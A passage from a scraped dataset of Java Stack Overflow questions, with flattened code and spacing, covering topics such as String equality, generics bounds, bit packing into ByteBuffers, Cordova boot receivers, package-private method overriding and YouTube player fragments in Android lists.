//www.springframework.org/schema/context '' xmlns : mvc= '' http : //www.springframework.org/schema/mvc '' xsi : schemaLocation= '' http : //www.springframework.org/schema/mvc http : //www.springframework.org/schema/mvc/spring-mvc-4.1.xsd http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans.xsd http : //www.springframework.org/schema/context http : //www.springframework.org/schema/context/spring-context-3.1.xsd http : //www.springframework.org/schema/tx http : //www.springframework.org/schema/tx/spring-tx.xsd '' > < bean id= '' datasource '' class= '' org.springframework.jdbc.datasource.DriverManagerDataSource '' > < property name= '' driverClassName '' value= '' com.mysql.jdbc.Driver '' > < /property > < property name= '' url '' value= '' jdbc : mysql : //localhost:3306/db_adpub '' > < /property > < property name= '' username '' value= '' root '' > < /property > < property name= '' password '' value= '' '' > < /property > < /bean > < bean id= '' persistenceUnitManager '' class= '' org.springframework.orm.jpa.persistenceunit.DefaultPersistenceUnitManager '' > < property name= '' persistenceXmlLocations '' > < list > < value > classpath* : META-INF/persistence.xml < /value > < /list > < /property > < property name= '' defaultDataSource '' ref= '' datasource '' > < /property > < /bean > < bean id= '' entityManagerFactory '' class= '' org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean '' > < property name= '' persistenceUnitManager '' ref= '' persistenceUnitManager '' > < /property > < property name= '' persistenceUnitName '' value= '' adpub '' > < /property > < /bean > < bean id= '' transactionManager '' class= '' org.springframework.orm.jpa.JpaTransactionManager '' > < property name= '' entityManagerFactory '' ref= '' entityManagerFactory '' > < /property > < /bean > < tx : annotation-driven transaction-manager= '' transactionManager '' / > < context : annotation-config > < /context : annotation-config > < mvc : annotation-driven / > < /beans >,How I can convert my objects in applicationContext.xml to java annotations +Java,"I learned that it is from the devil to test String equality with == instead of String.equals ( ) , because every String was a reference to its own object.But if i use something likeit prints true.Why ?",System.out.println ( `` Hello '' == `` Hello '' ) ;,Java : Why can String equality be proven with == ? +Java,"I apologize . This question is part of a programming assignment . We 're asked to implementa method that changes a fraction f from base A to base B with P digits of precision . The function has signaturebaseChanger ( int [ ] f , int A , int B , int P ) .For example , the decimal 3.14159 has fraction 0.14159 and is represented as an array : A fraction in base-16 -- 0.3BA07 -- would be writtenThe binary fraction 0.01 converted to a decimal fraction is 0.25 , and a test of the conversion function would look like this : This is the algorithm we were asked to implement : So with `` from '' and `` to '' as above , this would mean doing the following : Create an array that can hold P digits : int [ ] output = new int [ P ] ; // output = { 0 , 0 } Take the rightmost digit of `` from '' : { 0 , 1 < == } Multiply that digit by B ( 10 here ) and add the carry ( zero , currently ) , and assign to x : x < -- 1 x 10 + 0 = 10Replace the rightmost digit ( currently 1 ) with x mod A ( 2 here ) : { 0 , 0 < == } Calculate the carry , which is x / A : carry < -- 10 / 2 = 5Assign carry to the 0th slot in output : output [ 0 ] < -- carryoutput : { 5 < == , 0 } This procedure is repeated once more , and output is nowBut notice that the digits are in the wrong order and are output from least significant to most significant ! Also , ( more importantly ) , what would be done for a conversion from a decimal fraction like 0.3 to binary ? Suppose you wanted , say , 12 digits of precision . There is no exact binary representation , of course , so what would you do here , especially since the least significant digits come out first ? I 'm not sure where to start and would appreciate some advice . Remember that these numbers are fractions , not whole numbers and that the algorithm has to finish in linear time .","int [ ] frac = { 1,4,1,5,9 } ; int [ ] frac = { 3,11,10,0,7 } ; int [ ] from = { 0,1 } ; int [ ] to = { 2,5 } ; @ Test assertArrayEquals ( to , baseChanger ( from , 2 , 10 , 2 ) ) ; /* * for ( i < P ) { * 1 . Keep a carry , initialize to 0 . * 2 . From right to left : * a. x = multiply the ith digit by B and add the carry * b. the new ith digit is x % A * c. carry = x / A * 3. output [ i ] = carry * * @ param f The input array to translate . This array is not mutated . * @ param A The base that the input array is expressed in . * @ param B The base to translate into . * @ param P The number of digits of precision the output should * have . * @ return An array of size P expressing digits in B . */ output : { 2,5 } from = { 3 }",Change of base for fractional numbers in O ( N ) time +Java,"This question is not primarily about Strings . Out of academic curiosity I would like to know how the final modifier on a variable can change the behaviour a program . The following example shows it is possible.These lines print truebut these lines print falseApart from String interning , are there any other things that can cause the behaviour of a program to change if the modifier final is removed from a variable declaration ? I am assuming that the program compiles with or without the modifier.Please do n't vote to close it as duplicate of Comparing strings with == which are declared final in Java . I understand the Strings example . I 'm asking if there are any other reasons removing a final modifier can make a difference . Please can someone link to an answer or answer the question . Thanks .",final String x = `` x '' ; System.out.println ( x + x == `` xx '' ) ; String x = `` x '' ; System.out.println ( x + x == `` xx '' ) ;,How can removing final keyword change the way a program behaves ? +Java,"I need to validate Japanese date entered by user.Let say user selects the ERA - > Enter DOB as YY - MM - dd format.At server side , i receive input date and ERA selected by user.now i need to validate entered date with the selected ERA , if the date falls in the period of particular ERA or not.i know there is support for this in Java Calendar API , Also there is class JapaneseImperialCalendar , but i can not get any clue how to use it , though it uses it internally.This is what i did till now.outputsuppose user enters , selected ERA is SHOWA , expected period is 1926–1989againSo need to build some logic to validate user input date with ERA","public static void main ( String [ ] args ) { Locale locale = new Locale ( `` ja '' , `` JP '' , `` JP '' ) ; Calendar now = Calendar.getInstance ( locale ) ; System.out.println ( now.get ( Calendar.ERA ) ) ; Map < String , Integer > names = now.getDisplayNames ( Calendar.ERA , Calendar.LONG , locale ) ; System.out.println ( names ) ; System.out.printf ( `` It is year % tY of the current era % n '' , now ) ; System.out.printf ( `` The calendar class is : % s % n '' , now.getClass ( ) .getName ( ) ) ; } 4 { ? ? =3 , ? ? =4 , ? ? =2 , ? ? =1 , ? ? =0 } It is year 0026 of the current eraThe calendar class is : java.util.JapaneseImperialCalendar YY MM DD34 05 28 // which is valid date YY MM DD62 12 28 // which should be invalid date",Japanese Date Validation - Comparison +Java,"So I am reading about generic method and I am get confused . Let me state the problem here first : In this example : Suppose that I need a version of selectionSort that works for any type T , by using an external comparable supplied by the caller.First attempt : Suppose that I have : Defined vehicle classcreated VehicleComparator implementing Comparator whilecompare vehicles by their price.created Truck extends vehicleinstantiated Truck [ ] arr ; VehicleComparator myComparatorNow , I do : and it wo n't work , because myComparator is not available for any subclass of Vehicle . Then , I do this : This declaration will work , but I do n't completely sure what I 've been doing ... I know use is the way to go . If `` ? super T '' means `` an unknown supertype of T '' , then am I imposing a upper or lower bound ? Why is it super ? My intention is to let any subclass of T to use myComparator , why `` ? super T '' . So confused ... I 'd appreciate if you have any insight in this..Thanks ahead !","public static < T > void selectionSort ( T [ ] arr , Comparator < T > myComparator ) { ... . } selectionSort ( arr , myComparator ) ; public static < T > void selectionSort ( T [ ] arr , Comparator < ? super T > myComparator ) { ... . }","Wild card in java Generic and < ? super T > meaning , lower or upper bound" +Java,"Suppose in jdb I am at the following spot in the code : How do I dump the value of the object ( or primitive ) that is going to be returned ? It seems like a pain to have to store the return value in a local variable before returning it , just so that I can see what 's going to be returned . Effectively , I want to do in jdb what is described in the link for gdb : How to inspect the return value of a function in GDB ?",return 22 ; -- > },Inspect the return value of a method in jdb +Java,"I am currently working on some networking code ( this is my first server ) and had a quick question about optimizing a specific function which writes values as bits and then packs them into a byte . The reason for optimizing this function is because it is used thousands of times each server tick for packing data to be sent to several clients.An example may serve better in order to explain what the function tries to accomplish : The value 3 can be represented by two bits.In binary , it would look like 00000011 . The function would turn this binary value into 11000000 . When the function is called again , it would know to start from the 3rd most significant bit ( 3rd from the right/decimal 32 ) and write at most up to 6 bits into the current byte . If then there were remaining bits to write , it would start on a new byte.The purpose of this is to save space if you have multiple values that can be less than byte.My current function looks like this : As I 'm new to this I think there may be more efficient ways , maybe using bit-masking or a lookup table of some sort ? Any ideas or steering in the right direction would be great . Cheers .","private ByteBuffer out = ByteBuffer.allocate ( 1024 ) ; private int bitIndex = 0 ; /* * Value : The value to write * Amount : The number of bits to represent the value in . */ public OutputBuffer writeBits ( long value , int amount ) { if ( bitIndex ! = 0 ) { int remainingBits = 8 - bitIndex ; int bytePos = out.position ( ) - 1 ; byte current = out.get ( bytePos ) ; int shiftAmount = amount - remainingBits ; int bitsWritten = amount < remainingBits ? amount : remainingBits ; int clearShiftAmount = 8 - bitsWritten + 56 ; byte b ; if ( shiftAmount < 0 ) { b = ( byte ) ( current | ( value < < remainingBits - amount ) ) ; } else { //deal with negative values long temp = ( value > > shiftAmount ) ; temp = ( temp < < clearShiftAmount ) ; temp = ( byte ) ( temp > > > clearShiftAmount ) ; b = ( byte ) ( current | temp ) ; } out.put ( bytePos , b ) ; bitIndex = ( bitIndex + bitsWritten ) % 8 ; amount -= bitsWritten ; } if ( amount < = 0 ) { return this ; } bitIndex = amount & 7 ; int newAmount = amount - bitIndex ; //newValue should not equal 2047 for ( int i = 0 ; i ! = newAmount ; i += 8 ) { writeByte ( ( byte ) ( ( value > > i ) ) , false ) ; } if ( bitIndex > 0 ) writeByte ( ( byte ) ( value < < ( 8 - bitIndex ) ) , false ) ; return this ; }",Java - optimize writing values as bits to bytebuffer +Java,"I am in the process of developing a hybrid Phonegap app for Android . The app uses just the one plugin which I am developing as well . The plugin does three thingsWatches for geo-location changes ( both foreground and background ) Sets up a half-hourly alarm to perform certain periodic tasksListens for push messages . I use the pushy.me service and the code I use follows their documentation.I had implemented the code to get the application to tune in to device reboots with some trepidation but it turned out to be easy ( thanks to information I found in other threads on SO ) I register the reboot receiver thusMyAppCordovaPlugin is the entry point to my app/plugin - the one that extends the CordovaPlugin class . Here is what I do thereWhen I start up the app manually on my Android 4.4.2 test device everything works perfectly . i.e.Geo location changes are detected : both in the foreground and in the backgroundpush messages are received . Once again both in f/g and in b/gThe half hourly alarm worksWhen I examine the running app I find that it consists of one service PushySocketService and the main process , com.example.app which is marked as being in use . Memory usage is considerable.When I restart the phone I still find the same service and `` main process '' running . However , the memory usage reported for the main process is significantly lower.Most importantly - the app does not recieve push messages and does not respond to geo location changes . This only starts happening after I have launched the app by main activity.I must be missing something here - so the rebooted app does not automatically start its main activity ? If so there must be something wrong with my Rebooter.onReceive code ? For completeness I should mentionOnly the Pushy.me and Rebooter broadcast receivers are declared statically in the plugin.xml file . The Geo location and alarm broadcast receivers are registered dynamically from within my plugin code.I am building the app using Phonegap CLI v 6.4.2 and JDK 7I am clearly doing something wrong here . I 'd be most grateful to anyone who might be able to put me on the right track .","package com.example.plugin ; import org.apache.cordova.CordovaInterface ; import org.apache.cordova.CordovaPlugin ; import org.apache.cordova.CallbackContext ; import org.apache.cordova.CordovaWebView ; import android.content.Context ; import android.content.BroadcastReceiver ; import android.content.pm.PackageManager ; import android.app.Activity ; import android.content.Intent ; public class Rebooter extends BroadcastReceiver { @ Override public void onReceive ( Context context , Intent intent ) { Intent i = new Intent ( context , MyAppCordovaPlugin.class ) ; i.addFlags ( Intent.FLAG_ACTIVITY_NEW_TASK ) ; context.startActivity ( i ) ; } } < receiver android : enabled= '' true '' android : name= '' .Rebooter '' android : permission= '' android.permission.RECEIVE_BOOT_COMPLETED '' > < intent-filter > < action android : name= '' android.intent.action.BOOT_COMPLETED '' / > < category android : name= '' android.intent.category.DEFAULT '' / > < /intent-filter > < /receiver > public class MyAppCordovaPlugin extends CordovaPlugin { private Context context ; public void initialize ( CordovaInterface cordova , CordovaWebView webView ) { super.initialize ( cordova , webView ) ; this.context = cordova.getActivity ( ) .getApplicationContext ( ) ; //setup pushy.me broadcast receiver //setup geolocation changes receiver //setup broadcast receiver for a half-hourly alarm } @ Override public void onResume ( boolean multitasking ) { super.onResume ( multitasking ) ; //unregister background location change receiver , if present //switch geolocation to foreground mode . i.e . using //FusedLocationApi.requestLocationUpdates } @ Override public void onPause ( boolean multitasking ) { super.onPause ( multitasking ) ; //stop request for foreground location updates , if present //switch geolocation to background mode , i.e by //registering a broadcast receiver that listens for location change //broadcasts }",Initiating a Phonegap plugin after device restart +Java,"I have a basic doubt regarding the execution of the following code block ( Sample ) : Which might throw NullPointerException if Soundcard is n't there.So I have , Option 1 : Option 2 : As per my understanding the Option 1 will have extra overhead as it has to evaluate the same expression multiple times like computer.getSoundCard ( ) 3 times , computer.getSoundCard ( ) .getUSB ( ) 2 times . Is my understanding correct ? EDIT 1 : Changed Option 2 from",String version = computer.getSoundcard ( ) .getUSB ( ) .getVersion ( ) ; if ( computer ! =null & & computer.getSoundCard ( ) ! =null & & computer.getSoundCard ( ) .getUSB ( ) ! =null ) { version = computer.getSoundcard ( ) .getUSB ( ) .getVersion ( ) ; } if ( computer ! =null ) { SoundCard sc = computer.getSoundCard ( ) ; if ( sc ! =null ) { USB usb = sc.getUSB ( ) ; if ( usb ! =null ) { version = usb.getVersion ( ) ; } } } version = computer.getSoundcard ( ) .getUSB ( ) .getVersion ( ) ;,java Nested If or single if +Java,"We all know , that according to JLS7 p.4.12.5 every instance variable is initialized with default value . E.g . ( 1 ) : But I always thought , that such class implementation ( 2 ) : is absolutely equal to example ( 1 ) . I expected , that sophisticated Java compiler see that all these initialization values in ( 2 ) are redundant and omits them.But suddenly for this two classes we have two different byte-code . For example ( 1 ) : For example ( 2 ) : The question is : Why ? But this is so obvious thing to be optimized . What 's the reason ? UPD : I use Java 7 1.7.0.11 x64 , no special javac options",public class Test { private Integer a ; // == null private int b ; // == 0 private boolean c ; // == false } public class Test { private Integer a = null ; private int b = 0 ; private boolean c = false ; } 0 : aload_0 1 : invokespecial # 1 ; //Method java/lang/Object . `` < init > '' : ( ) V 4 : return 0 : aload_0 1 : invokespecial # 1 ; //Method java/lang/Object . `` < init > '' : ( ) V 4 : aload_0 5 : aconst_null 6 : putfield # 2 ; //Field a : Ljava/lang/Integer ; 9 : aload_0 10 : iconst_0 11 : putfield # 3 ; //Field b : I 14 : aload_0 15 : iconst_0 16 : putfield # 4 ; //Field c : Z 19 : return,Default variables ' values vs initialization with default +Java,"Where should object serialization logic ( the mapping of fields into XML or JSON names and values ) be placed ? Inside each entity object OR into a different set of classes only concerned with serialization ? Any other best practices out there that relate to this question ? For example : Some people go about it this way : But if we also needed toXML ( ) , toCSV ( ) , toXYZ ( ) keeping that direction would create horribly polluted code and break the Single Responsibility Principle which is already broken even with a single toJson method , IMHO.Another option and this is what I typically do : then a factory hands out Serializers depending on entity types : There would also be XMLSerializerFactory , CSVSerializerFactory , and so forth.However , most of the times people want to have full control over the serialization and would not buy into it and prefer to have toJson methods inside each class . They would claim is way simpler and less error prone.What is the preferred way to go , and are there better alternatives to implement a solution to this problem ?","class Person { String name ; } class Person { String name ; public String toJson ( ) { // build JSON , use 'name ' field } } interface Serializer { public String toJson ( ) ; } class PersonJsonSerializer implements Serializer { private Person p ; public PersonJsonSerializer ( Person p ) { this.person = p ; } public String toJson ( ) { // build JSON , use p.name } } class JsonSerializerFactory { public Serializer getSerializer ( Object o ) { if ( o instanceof Person ) { return new PersonJsonSerializer ( ( Person ) o ) ; } else if ( o instanceof Account ) { return new AccountJsonSerializer ( ( Account ) o ) ; } // ... etc } }",Should serialization logic be in the entity or other class +Java,"I am looking for an explanation for the following behavior : I have 6 classes , { a.A , b.B , c.C , a.D , b.E , c.F } , each having a package visible m ( ) method that writes out the class name.I have an a.Main class with a main method that does some testing of these classes.The output seems to not follow proper inheritance rules.Here are the classes : The Main class is in package a : And here is the output : And here are my questions:1 ) I understand that D.m ( ) hides A.m ( ) , but a cast to A should expose the hidden m ( ) method , is that true ? Or is D.m ( ) overrides A.m ( ) in spite of the fact that B.m ( ) and C.m ( ) breaks the inheritance chain ? 2 ) Even worse , the following code shows overriding in effect , why ? And why not in this part : and this one ? I am using OpenJDK javac 11.0.2.EDIT : The first question is answered by How to override a method with default ( package ) visibility scope ? An instance method mD declared in or inherited by class D , overrides from D another method mA declared in class A , iff all of the following are true : A is a superclass of D. D does not inherit mA ( because crossing package boundaries ) The signature of mD is a subsignature ( §8.4.2 ) of the signature of mA . One of the following is true : [ ... ] mA is declared with package access in the same package as D ( this case ) , and either D declares mD or mA is a member of the direct superclass of D. [ ... ] BUT : the second question is still unresolved .",package a ; public class A { void m ( ) { System.out.println ( `` A '' ) ; } } // -- -- -- package b ; import a.A ; public class B extends A { void m ( ) { System.out.println ( `` B '' ) ; } } // -- -- -- package c ; import b.B ; public class C extends B { void m ( ) { System.out.println ( `` C '' ) ; } } // -- -- -- package a ; import c.C ; public class D extends C { void m ( ) { System.out.println ( `` D '' ) ; } } // -- -- -- package b ; import a.D ; public class E extends D { void m ( ) { System.out.println ( `` E '' ) ; } } // -- -- -- package c ; import b.E ; public class F extends E { void m ( ) { System.out.println ( `` F '' ) ; } } package a ; import b.B ; import b.E ; import c.C ; import c.F ; public class Main { public static void main ( String [ ] args ) { A a = new A ( ) ; B b = new B ( ) ; C c = new C ( ) ; D d = new D ( ) ; E e = new E ( ) ; F f = new F ( ) ; System.out.println ( `` ( ( A ) a ) .m ( ) ; '' ) ; ( ( A ) a ) .m ( ) ; System.out.println ( `` ( ( A ) b ) .m ( ) ; '' ) ; ( ( A ) b ) .m ( ) ; System.out.println ( `` ( ( A ) c ) .m ( ) ; '' ) ; ( ( A ) c ) .m ( ) ; System.out.println ( `` ( ( A ) d ) .m ( ) ; '' ) ; ( ( A ) d ) .m ( ) ; System.out.println ( `` ( ( A ) e ) .m ( ) ; '' ) ; ( ( A ) e ) .m ( ) ; System.out.println ( `` ( ( A ) f ) .m ( ) ; '' ) ; ( ( A ) f ) .m ( ) ; System.out.println ( `` ( ( D ) d ) .m ( ) ; '' ) ; ( ( D ) d ) .m ( ) ; System.out.println ( `` ( ( D ) e ) .m ( ) ; '' ) ; ( ( D ) e ) .m ( ) ; System.out.println ( `` ( ( D ) f ) .m ( ) ; '' ) ; ( ( D ) f ) .m ( ) ; } } ( ( A ) a ) .m ( ) ; A ( ( A ) b ) .m ( ) ; A ( ( A ) c ) .m ( ) ; A ( ( A ) d ) .m ( ) ; D ( ( A ) e ) .m ( ) ; E ( ( A ) f ) .m ( ) ; F ( ( D ) d ) .m ( ) ; D ( ( D ) e ) .m ( ) ; D ( ( D ) f ) .m ( ) ; D ( ( A ) d ) .m ( ) ; D ( ( A ) e ) .m ( ) ; E ( ( A ) f ) .m ( ) ; F ( ( A ) a ) .m ( ) ; A ( ( A ) b ) .m ( ) ; A ( ( A ) c ) .m ( ) ; A ( ( D ) d ) .m ( ) ; D ( ( D ) e ) .m ( ) ; D ( ( D ) f ) .m ( ) ; D,Inheritance at package visibility in Java +Java,"I have an existing google app engine java application runs with jpa and now i am trying to move to objectify for many different purposes.Current application has the below representation of the entities.How can i get the above representation in Objectify ? I am using objectify4.I have seen @ Parent , but it seems not possible to load the list of child entities directly while fetching a parent ? Thanks , Ramesh.V","Class Parent { @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) private Key key ; @ OneToMany ( cascade=CascadeType.ALL , mappedBy= '' parent '' ) private List < Child > childs = null ; } Class Child { @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) private Key key ; @ ManyToOne private Parent parent ; }",Google App Engine java replace jpa @ OneToMany/ @ ManyToOne with objectify +Java,"The javadocs for ThreadPoolExecutor # getActiveCount ( ) say that the method `` Returns the approximate number of threads that are actively executing tasks . `` What makes this number approximate , and not exact ? Will it over or under-report active threads ? Here is the method :",/** * Returns the approximate number of threads that are actively * executing tasks . * * @ return the number of threads */public int getActiveCount ( ) { final ReentrantLock mainLock = this.mainLock ; mainLock.lock ( ) ; try { int n = 0 ; for ( Worker w : workers ) if ( w.isLocked ( ) ) ++n ; return n ; } finally { mainLock.unlock ( ) ; } },Just how 'approximate ' is ThreadPoolExecutor # getActiveCount ( ) ? +Java,"I often see the same methods being verified as the methods being mocked in Mockito ( example below ) . Is there any added benefit to call Mockito.verify ( ) in these cases ? The method should fail if fs.getFoo ( ) is not called . So why call verify ? I see the benefit if you need to use ArgumentCaptor in the verify to assert the parameters ; besides the ArgumentCaptor case , is it just unnecessary ?",//mock methodFooService fs = mock ( FooService.class ) ; when ( fs.getFoo ( ) ) .thenReturn ( `` foo '' ) ; //method under testfs.doSomething ( ) ; //verify methodverify ( fs ) .getFoo ( ) ;,Is it unnecessary to verify the same methods as the methods being mocked in Mockito ? +Java,"I 'm trying to start my kivy app 's service on bootup.I 'm sure that my service is ok because it works when I start my app . But on bootup I have a problem.I 've read this article and tried to make it : It works but starts the app but not the service . So I 've studied some questions on StackOverflow and changed my code for this : ... and got an error : Can you please explain me what 's wrong and what should I do to start the service ? Thanks ! UPDATEDBy request of @ Juggernaut I add my service code : It works when I run app because app calls the service : UPDATED ( AndroidManifest ) Here is some strings from my AndroidManifest.xml.I have the RECEIVE_BOOT_COMPLETED permission : < uses-permission android : name= '' android.permission.RECEIVE_BOOT_COMPLETED '' / > I have the receiver : < receiver android : name= '' .MyBroadcastReceiver '' android : enabled= '' true '' > < intent-filter > < action android : name= '' android.intent.action.BOOT_COMPLETED '' / > < /intent-filter > < /receiver > I have the service registered : < service android : name= '' net.saband.myapp.ServiceMyservice '' android : process= '' : service_myservice '' / > By advice of @ mariachi I 've tried to change android : enabled= '' true '' to android : enabled= '' false '' in the receiver and add android : exported= '' false '' to the service . In this case when the device starts happens nothing : no errors , no service .","package net.saband.myapp ; import android.content.BroadcastReceiver ; import android.content.Intent ; import android.content.Context ; import org.kivy.android.PythonActivity ; public class MyBroadcastReceiver extends BroadcastReceiver { public void onReceive ( Context context , Intent intent ) { Intent ix = new Intent ( context , PythonActivity.class ) ; ix.addFlags ( Intent.FLAG_ACTIVITY_NEW_TASK ) ; context.startActivity ( ix ) ; } } package net.saband.myapp ; import android.content.BroadcastReceiver ; import android.content.Intent ; import android.content.Context ; import net.saband.myapp.ServiceMyservice ; public class MyBroadcastReceiver extends BroadcastReceiver { public void onReceive ( Context context , Intent intent ) { Intent ix = new Intent ( context , ServiceMyservice.class ) ; ix.addFlags ( Intent.FLAG_ACTIVITY_NEW_TASK ) ; context.startService ( ix ) ; } } 10-21 19:16:44.784 1513 1569 I ActivityManager : Start proc 6334 : net.saband.myapp : service_myservice/u0a116 for service net.saband.myapp/.ServiceMyservice10-21 19:16:44.786 6334 6334 I art : Late-enabling -Xcheck : jni10-21 19:16:44.885 6334 6334 D AndroidRuntime : Shutting down VM10-21 19:16:44.888 6334 6334 E AndroidRuntime : FATAL EXCEPTION : main10-21 19:16:44.888 6334 6334 E AndroidRuntime : Process : net.saband.myapp : service_myservice , PID : 633410-21 19:16:44.888 6334 6334 E AndroidRuntime : Theme : themes : { } 10-21 19:16:44.888 6334 6334 E AndroidRuntime : java.lang.RuntimeException : Unable to start service net.saband.myapp.ServiceMyservice @ 8c96929 with Intent { cmp=net.saband.myapp/.ServiceMyservice } : java.lang.NullPointerException : Attempt to invoke virtual method 'java.lang.String android.os.Bundle.getString ( java.lang.String ) ' on a null object reference from time import sleepif __name__ == '__main__ ' : while True : print `` myapp service '' sleep ( 5 ) def __start_service ( self ) : if platform == 'android ' : service = autoclass ( 'net.saband.myapp.ServiceMyservice ' ) mActivity = autoclass ( 'org.kivy.android.PythonActivity ' ) .mActivity argument = `` service.start ( mActivity , argument )",Starting Kivy service on bootup ( Android ) +Java,"I 'm currently trying to create a software component that would be able to interprete dynamic strings such as : Which would result in this string : I would like to be able to define a set of available functions , with semantical parameters , etc.I already know ( more or less ) how to do it using regular expressions.My questions are : Is lexing/parsing way better than regexp for such a purpose , or should I just go with regexp and forget about that ? Does such a library already exist in Java ? Do you know any tutorial showing some sample parsing/lexing algorithms ? Thanks !",% TO_LOWER % ( % DELETE_WHITESPACES % ( `` A SAMPLE TEXT '' ) ) asampletext,How to parse a string without regular expressions +Java,"I am trying to write a method to get the mode of a Collection using a Comparator . Please can somebody show me what changes I have to make to get this to compile ? I do not want to change the signature.EDITIt turns out I was just using the wrong version . This does not compile using javac 1.8.0_25 . The exact three error messages are : However , I have since upgraded to javac 1.8.0_65 and it compiles perfectly .","static < T > T mode ( Collection < ? extends T > collection , Comparator < ? super T > comparator ) { return collection.stream ( ) .collect ( Collectors.groupingBy ( t - > t , ( ) - > new TreeMap < > ( comparator ) , Collectors.counting ( ) ) ) .entrySet ( ) .stream ( ) .reduce ( BinaryOperator.maxBy ( Comparator.comparingLong ( Map.Entry : :getValue ) ) ) .map ( Map.Entry : :getKey ) .orElseThrow ( IllegalArgumentException : :new ) ; } Error : ( 40 , 47 ) java : incompatible types : inferred type does not conform to upper bound ( s ) inferred : java.lang.Objectupper bound ( s ) : T , java.lang.ObjectError : ( 43 , 45 ) java : incompatible types : can not infer type-variable ( s ) T ( argument mismatch ; invalid method reference method getValue in interface java.util.Map.Entry < K , V > can not be applied to given types required : no arguments found : java.lang.Object reason : actual and formal argument lists differ in length ) Error : ( 44 , 25 ) java : invalid method referencenon-static method getKey ( ) can not be referenced from a static context",How to write a mode method using streams +Java,I 'm using this method to parse out plain text URLs in some HTML and make them linksNo URLs are replaced in the HTML however . The regular expression seems to be matching URLs in other regular expression testers . What 's going on ?,"private String fixLinks ( String body ) { String regex = `` ^ ( https ? |ftp|file ) : // [ -a-zA-Z0-9+ & @ # / % ? =~_| ! : , . ; ] * [ -a-zA-Z0-9+ & @ # / % =~_| ] '' ; body = body.replaceAll ( regex , `` < a href=\ '' $ 1\ '' > $ 1 < /a > '' ) ; Log.d ( TAG , body ) ; return body ; }",String ReplaceAll method not working +Java,"I am developing one android application . In this application I want youtube video play with youtube player in ListView or RecyclerView with AppCompatActivity . I have used YouTubeBaseActivity it is working well with this , but I need AppCompatActivity . So I used YouTubePlayerFragmentor YouTubePlayerSupportFragment for solving my problem.When I am using YouTubePlayerFragment with AppCompatActivity then its working well . But I want to use this in ListView , but I 'm getting following error.1 . Main2Acitivy.java2 . activity_main2.xml3 . custom_youtube_list_adapter.java4 . custom_frag_youtube_list.xmlSo , please suggest me where am I wrong ? How to solve my problem ? Thanks in advance.UPDATE 1 : I am using @ azizbekian solution.This is solve my problem inflate exception but I have same video with multiple layout.Log Value : Youtube Position : : 0Youtube list value : : KSGYVl4ZgRsYoutube Position : : 1Youtube list value : : nCgQDjiotG0UPDATE 2 : I have resolve all problem instead of one problem . if i play video after playing one video that time adapter not refresh . so that i am unable to handle video playing at one time.UPDATE 3 : After lot of searching and @ azizbekian soluion , I have resolved my problem . by using following solution.For getting youtube video thumnail , you can go throw.How do I get a YouTube video thumbnail from the YouTube API ?","android.view.InflateException : Binary XML file line # 8 : Binary XML file line # 8 : Error inflating class fragment Caused by : android.view.InflateException : Binary XML file line # 8 : Error inflating class fragment Caused by : java.lang.IllegalArgumentException : Binary XML file line # 8 : Duplicate id 0x7f0b0063 , tag null , or parent id 0x7f0b0062 with another fragment for com.google.android.youtube.player.YouTubePlayerFragment at android.app.FragmentManagerImpl.onCreateView ( FragmentManager.java:3611 ) at android.app.FragmentController.onCreateView ( FragmentController.java:98 ) at android.app.Activity.onCreateView ( Activity.java:6182 ) at android.support.v4.app.BaseFragmentActivityApi14.onCreateView ( BaseFragmentActivityApi14.java:41 ) at android.support.v4.app.FragmentActivity.onCreateView ( FragmentActivity.java:75 ) at android.view.LayoutInflater.createViewFromTag ( LayoutInflater.java:783 ) at android.view.LayoutInflater.createViewFromTag ( LayoutInflater.java:733 ) at android.view.LayoutInflater.rInflate ( LayoutInflater.java:866 ) at android.view.LayoutInflater.rInflateChildren ( LayoutInflater.java:827 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:518 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:426 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:377 ) at com.example.youtubecardview.frag_youtube.custom_youtube_list_adapter.getView ( custom_youtube_list_adapter.java:63 ) at android.widget.AbsListView.obtainView ( AbsListView.java:2372 ) at android.widget.ListView.measureHeightOfChildren ( ListView.java:1408 ) at android.widget.ListView.onMeasure ( ListView.java:1315 ) at android.view.View.measure ( View.java:21783 ) at android.widget.RelativeLayout.measureChildHorizontal ( RelativeLayout.java:715 ) at android.widget.RelativeLayout.onMeasure ( RelativeLayout.java:461 ) at android.view.View.measure ( View.java:21783 ) at android.view.ViewGroup.measureChildWithMargins ( ViewGroup.java:6549 ) at android.widget.FrameLayout.onMeasure ( FrameLayout.java:185 ) at android.support.v7.widget.ContentFrameLayout.onMeasure ( ContentFrameLayout.java:139 ) at android.view.View.measure ( View.java:21783 ) at android.view.ViewGroup.measureChildWithMargins ( ViewGroup.java:6549 ) at android.support.v7.widget.ActionBarOverlayLayout.onMeasure ( ActionBarOverlayLayout.java:391 ) at android.view.View.measure ( View.java:21783 ) at android.view.ViewGroup.measureChildWithMargins ( ViewGroup.java:6549 ) at android.widget.FrameLayout.onMeasure ( FrameLayout.java:185 ) at android.view.View.measure ( View.java:21783 ) at android.view.ViewGroup.measureChildWithMargins ( ViewGroup.java:6549 ) at android.widget.LinearLayout.measureChildBeforeLayout ( LinearLayout.java:1514 ) at android.widget.LinearLayout.measureVertical ( LinearLayout.java:806 ) at android.widget.LinearLayout.onMeasure ( LinearLayout.java:685 ) at android.view.View.measure ( View.java:21783 ) at android.view.ViewGroup.measureChildWithMargins ( ViewGroup.java:6549 ) at android.widget.FrameLayout.onMeasure ( FrameLayout.java:185 ) at com.android.internal.policy.DecorView.onMeasure ( DecorView.java:699 ) at android.view.View.measure ( View.java:21783 ) at android.view.ViewRootImpl.performMeasure ( ViewRootImpl.java:2409 ) at android.view.ViewRootImpl.measureHierarchy ( ViewRootImpl.java:1497 ) at android.view.ViewRootImpl.performTraversals ( ViewRootImpl.java:1750 ) at android.view.ViewRootImpl.doTraversal ( ViewRootImpl.java:1385 ) at android.view.ViewRootImpl $ TraversalRunnable.run ( ViewRootImpl.java:6722 ) at android.view.Choreographer $ CallbackRecord.run ( Choreographer.java:886 ) at android.view.Choreographer.doCallbacks ( Choreographer.java:698 ) at android.view.Choreographer.doFrame ( Choreographer.java:633 ) at android.view.Choreographer $ FrameDisplayEventReceiver.run ( Choreographer.java:872 ) at android.os.Handler.handleCallback ( Handler.java:769 ) at 